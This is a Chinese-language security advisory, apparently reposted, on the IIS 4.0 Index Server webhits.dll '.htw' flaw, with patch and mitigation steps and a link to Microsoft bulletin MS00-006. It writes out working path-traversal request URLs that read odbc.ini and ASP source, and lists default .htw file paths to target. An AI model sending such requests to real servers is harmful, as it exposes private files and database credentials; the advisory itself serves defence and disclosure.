涉及程序: Microsoft Internet Information Server/Index Server 描述: 震撼安全發(fā)現(xiàn):新的漏洞允許查看web服務(wù)器上任何文件包括ASP源碼 詳細(xì): IIS4.0上有一個(gè)應(yīng)用程序映射htw--->webhits.dll,這是用于Index Server的點(diǎn)擊功能的。盡管你不運(yùn)行Index Server,該映 射仍然有效。這個(gè)應(yīng)用程序映射存在漏洞,允許入侵者讀取本地硬盤(pán)上的文件,數(shù)據(jù)庫(kù)文件,和ASP源代碼! 有兩種方法來(lái)實(shí)現(xiàn),第一,如果你的web server上存在.htw后綴的文件,則可以過(guò)下面的方式來(lái)查看文件內(nèi)容,比如查看 odbc.ini文件的內(nèi)容: http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw? CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full 對(duì)于IIS的一般安裝模式可以在下列位置找到.htw文件: /iissamples/issamples/oop/qfullhit.htw /iissamples/issamples/oop/qsumrhit.htw /iissamples/exair/search/qfullhit.htw /iissamples/exair/search/qsumrhit.htw /iishelp/iis/misc/iirturnh.htw 第二、如果你的web server上不存在這個(gè)文件,有漏洞的系統(tǒng)仍然允許用戶(hù)調(diào)用webhits.dll,具體方式如下: http://www.xxx.com/default.htm .htw? CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full 條件是default.htm必須存在。這個(gè)文件名可以是其它文件,但必須存在。webhits.dll將會(huì)把這個(gè)文件作為臨時(shí)文件打開(kāi)。當(dāng)上 述URL中的空格符 達(dá)到一定數(shù)目時(shí),web服務(wù)的識(shí)別功能可能會(huì)出現(xiàn)問(wèn)題,這樣webhits.dll將打開(kāi)指定的文件 \winnt\odbc.ini。如果成功,用同樣的方法可以打開(kāi)更多的文件,包括ASP代碼。近似的原理請(qǐng)見(jiàn)下面這段代碼: FILE *fd; int DoesTemplateExist(char *pathtohtwfile) { // Just in case inetinfo.exe passes too long a string // let's make sure it's of a suitable length and not // going to open a buffer overrun vulnerability char *file; file = (char *)malloc(250); strncpy(file,pathtohtwfile,250); fd = fopen(file,"r"); // Success if(fd !=NULL) { return 1; } // failed else { return 0; } } 解決方案: 不使用index server功能的用戶(hù),可以在IIS管理控制臺(tái)中,點(diǎn) web站點(diǎn),屬性,選擇主目錄,配置(起始點(diǎn)),應(yīng)用程序映射, 將htw與webhits.dll的映射刪除。 如果要用到webhits.dll,則使用下面的補(bǔ)丁: Index Server 2.0(Intel機(jī)器)的補(bǔ)丁 Index Server 2.0(Alpha機(jī)器)的補(bǔ)丁 Windows2000的Index Server服務(wù)補(bǔ)丁 安全建議: 建議在IIS控制臺(tái)中刪除無(wú)用的應(yīng)用程序映射 相關(guān)站點(diǎn): http://www.microsoft.com/technet/security/bulletin/ms00-006.asp from: http://www.cnns.net/article/db/49.htm
|
溫馨提示:喜歡本站的話(huà),請(qǐng)收藏一下本站!